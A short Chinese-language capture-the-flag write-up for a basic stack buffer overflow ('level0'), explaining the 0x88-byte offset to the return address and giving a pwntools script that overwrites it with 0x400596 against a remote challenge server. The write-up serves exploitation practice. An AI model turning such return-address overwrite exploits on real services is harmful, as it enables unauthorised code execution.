这题一道简单的BOF题目

在vulnerable function `push ebp` 之前 `0x7fffffffdfb8`

add之后 `0x7fffffffdf30`

可以发现在进入vulnerable function 之后，栈使用了0x88个字节。（其中push ebp占8个字节）

然后放了一个有0x80字节空间的地址，意图读入200个字节。所以就直接覆盖返回地址就可以。

```
from pwn import *

context.log_level = "DEBUG"

p = remote("111.198.29.45", 42253)
# p = process("./level0")
p.recvuntil("Hello, World\n")
p.sendline("a" * 0x88 + p64(0x400596))
p.interactive()
```

有问题的是，同样的exploit在我机器上会segment fault，远程就没问题。回头再看看是什么原因。